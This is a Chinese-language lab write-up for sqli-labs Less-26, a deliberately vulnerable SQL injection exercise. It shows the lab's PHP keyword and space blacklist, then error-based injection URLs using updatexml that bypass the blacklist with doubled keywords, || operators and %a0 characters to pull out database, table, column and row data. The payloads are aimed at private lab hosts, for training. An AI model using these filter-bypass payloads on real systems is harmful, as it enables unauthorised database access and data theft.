摘要
本文介绍了如何利用Less-26来进行SQL注入实验。在实验过程中，需要注意如何判断注入点、哪些字符可用、哪些不可用，以及如何使用特殊字符替换空格等问题。此外，还介绍了在Windows平台上搭建的sqli-labs无法使用%0a或者%a0等字符替换的问题，而在Linux平台上则没有此问题。通过本文的介绍，读者可以更好地理解SQL注入的原理和实现方式，并提高防范SQL注入攻击的能力。
前言
当我们分析源码，看到其中过滤了很多东西，这次不仅过滤了and和or，甚至连一些注释字符和空格也被过滤了，按照前面的题的做法我们同样可以使用||代替，同样可以使用anandd和oorr代替，然后利用or '1'='1去闭合，然后空格我们也可以用一些特殊字符去代替，例如%0a换行%a0空格等等，本题推荐使用linux搭建的sqli-labs进行实验
源码如下
function blacklist($id)
{
$id= preg_replace('/or/i',"", $id); //strip out OR (non case sensitive)
$id= preg_replace('/and/i',"", $id); //Strip out AND (non case sensitive)
$id= preg_replace('/[\/\*]/',"", $id); //strip out /*
$id= preg_replace('/[--]/',"", $id); //Strip out --
$id= preg_replace('/[#]/',"", $id); //Strip out #
$id= preg_replace('/[\s]/',"", $id); //Strip out spaces
$id= preg_replace('/[\/\\\\]/',"", $id); //Strip out slashes
return $id;
}
前期准备
开启phpstudy，开启apache服务以及mysql服务
实验环节
浏览器访问Less-26
http://192.168.199.135/sqli-labs-master/Less-26/
判断库名
http://192.168.199.135/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(SELECT%a0database()),0x7e),1)|| '1'='1
#用%a0替换空格发现页面疑似编码报错，因为在 Windows 下会有无法用特殊字符代替空格的问题，这是 Apache 解析的问题，Linux 下无这个问题。
http://192.168.199.135/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(SELECT(database())),0x7e),1)|| '1'='1
#如果遇到上面这种用%a0或者%0a都无法使用的情况下，这边给大家介绍一下另外一种小技巧，用（）将database()括起来，成功爆出库名
判断表名
#windows平台
http://192.168.199.135/sqli-labs-master/Less-26/?id=1'|| updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema)='security'),0x7e),1)|| '1'='1
#kali部署的
http://192.168.199.129/Less-26/?id=1'|| updatexml(1,concat(0x7e,(select (group_concat(table_name)) from (infoorrmation_schema.tables) where (table_schema)='security'),0x7e),1)|| '1'='1
判断列名
http://192.168.199.129/Less-26/?id=1'|| %a0updatexml(1,concat(0x7e,(select%a0column_name%a0from%a0 infoorrmation_schema.columns%a0where%a0table_schema='security'%a0%26%26 %a0table_name='emails'%a0 limit %a00,1),0x7e),1)|| '1'='1
判断数据
http://192.168.199.129/Less-26/?id=1'anandd%a0updatexml(1,concat(0x7e,(select%a0 id%a0 from%a0 emails %a0limit %a00,1),0x7e),1)|| '1'='1
小结
总的来说本题的关键在于怎么判断注入点，判断哪些字符可用哪些不可用，并使用特殊字符替换空格，并且在windows平台上搭建的sqli-labs无法使用%0a或者%a0等字符替换，linux没有此问题
评论区